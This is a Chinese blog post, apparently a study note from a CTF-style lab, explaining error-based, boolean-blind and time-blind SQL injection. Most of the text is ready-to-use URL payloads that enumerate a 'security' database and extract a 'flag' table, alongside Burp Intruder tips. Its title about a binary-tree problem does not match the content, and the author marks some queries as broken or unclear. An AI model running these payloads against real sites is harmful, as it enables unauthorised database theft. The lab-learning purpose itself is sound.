劍指 Offer 68 - II. 二叉樹的最近公共祖先
阿新 • • 發佈:2020-12-13
SQL Injection
什麼是SQL
SQL 是用於訪問和處理資料庫的標準的計算機語言。
SQL 能做什麼?
- SQL 面向資料庫執行查詢
- SQL 可從資料庫取回資料
- SQL 可在資料庫中插入新的記錄
- SQL 可更新資料庫中的資料
- SQL 可從資料庫刪除記錄
- SQL 可建立新資料庫
- SQL 可在資料庫中建立新表
- SQL 可在資料庫中建立儲存過程
- SQL 可在資料庫中建立檢視
- SQL 可以設定表、儲存過程和檢視的許可權
這就足夠彰顯出SQL在網站搭建中的重要之處,所以也是成為廣大黑客比較喜歡入侵的一個地方。
SQL注入即是指web應用程式對使用者輸入資料的合法性沒有判斷或過濾不嚴,攻擊者可以在web應用程式中事先定義好的查詢語句的結尾上新增額外的SQL語句,在管理員不知情的情況下實現非法操作,以此來實現欺騙資料庫伺服器執行非授權的任意查詢,從而進一步得到相應的資料資訊。
這裡主要介紹三種入侵方式
他們分別是:
1、報錯注入
2、布林盲注
3、時間盲注
報錯注入
報錯注入的判斷:
輸入錯誤的語句後發現錯誤會通過頁面回顯回來。則判斷可能存在報錯注入漏洞。
三種類型的報錯注入
group by
eg:
?id=-1 union select 1,count(*),(concat(floor(rand()*2),(select group_concat(flag) from security.flag)))x from users group by x
這裡連線一篇原理講的非常清楚的部落格:
extractvalue和updatexml
他們是MySQL 5.1.5版本中新增的對XML文件進行查詢和修改的兩個函式。
這裡主要是利用非法書寫的Xpath來實現報錯。
eg:
?id=-1 union select 1,2,extractvalue(1, concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e))
updatexml(1,concat(0x23,payload,0x23),1)
這裡也連結一篇部落格:
布林盲注
這裡主要是根據頁面沒有錯誤回顯,只有類似於(yes或者no)的回顯。
首先還是先檢視是否存在注入點
?id=1 //這個是有返回的
?id=1' //這個應該是沒有返回(相當於NO)
?id=1 union select 1,2,3 //進行欄位數的判斷
這裡就可以判斷出來是否存在注入點及其欄位數。
這裡需要一些分流的思想,就是我們構造一個if語句,如果滿足,執行一個正確的sql語句,否則執行一個錯誤的sql語句(這裡還是有一點講不清楚,舉個例子,就類似於這種 select 1 union select 2但是不能用1=2這類的也不能報錯,這裡確實有一點沒有理解)
然後下面的內容主要就靠猜測了。
這裡直接貼上我的做題筆記
/?id=-1 //頁面沒有任何反應
/?id=-1 union select 1,2,3 //頁面返回ok說明欄位數為3
/?id=1 and if(length((database())>4),(select 1),(select 1 union select 2))
/?id=1 and if(length((database())=8),(select 1),(select 1 union select 2))
/?id=1 and if((substr(database(),1,1)='s'),(select 1),(select 1 union select 2))
//以下操作用burp intruder 模組進行爆破 爆出庫名為security
/?id=1 and if(((select count(table_name) from information_schema.tables where table_schema=database())>4),(select 1),(select 1 union select 2))
/?id=1 and if(((select count(table_name) from information_schema.tables where table_schema=database())<6),(select 1),(select 1 union select 2))
/?id=1 and if(((select count(table_name) from information_schema.tables where table_schema=database())=5),(select 1),(select 1 union select 2))
//猜測出來有5張表
/?id=1 and if(((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=4),(select 1),(select 1 union select 2))
//同上使用burp
//一共5張表
//長度分別為 6 4 8 7 5
//然後下面就到了猜表名的階段,我感覺1號表有點像是對的,那我們就來猜一號表
/?id=1 and if(((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 1,1)='f'),(select 1),(select 1 union select 2))
//用burp猜,一號表有4個長度
//得出答案是flag
//下面應該猜表裡面的欄位了
/?id=1 and if(((select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')<4),(select 1),(select 1 union select 2))
/?id=1 and if(((select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')=2),(select 1),(select 1 union select 2))
//flag表中有兩個欄位
//下面開始猜測欄位的長度
/?id=1 and if(((select length(column_name) from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1)=2),(select 1),(select 1 union select 2))
//上面這個好像這樣寫有一些問題
/?id=1 and if((length(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1)=2),(select 1),(select 1 union select 2))
//經過burp的intruder模組第1個欄位長度為 2,第二個欄位長度為 4
//根據經驗判斷應該是在第二個欄位裡面,我們現在來猜測第二個欄位的名字
/?id=1 and if(((select substr(column_name,1,1) from information_schema.columns where table_schema=database() and table_name='flag' limit 1,1)='f'),(select 1),(select 1 union select 2))
//根據burp爆破可以確定第二個欄位為flag
//最後就是爆flag了
//還是先確認長度
//為啥這句話是錯的啊? 下下下
/?id=1 and if(((select length(*) from security.flag where column_name='flag' limit 0,1)<200),(select 1),(select 1 union select 2))
/?id=1 and if((ascii(substr((select flag from security.flag limit 0,1),1,1))=200),(select 1),(select 1 union select 2))
//對於時間盲注來說,就是把if的expr2改成sleep(5)
//下面舉個例子
//還是先來猜測一下資料庫的長度
/?id=1 and if((length(database())=8),(sleep(5)),(select 1 union select 2))
//跟你以往的經驗,我覺的旗子應該還是會在security苦中的flag表中
//所以直接開始猜
/?id=1 and if((ascii(substr((select flag from security.flag limit 0,1),1,1))=200),(sleep(5)),(select 1 union select 2))
//burp需要使用intruder 模組中開始攻擊後左上角column中的response complete
時間盲注
這裡同布林盲注一樣,只是因為頁面沒有返回值,所以我們呢使用sleep函式通過頁面響應時間來判斷是否猜測的東西是正確的。詳情見上面的做題筆記,下面就是時間盲注的解析。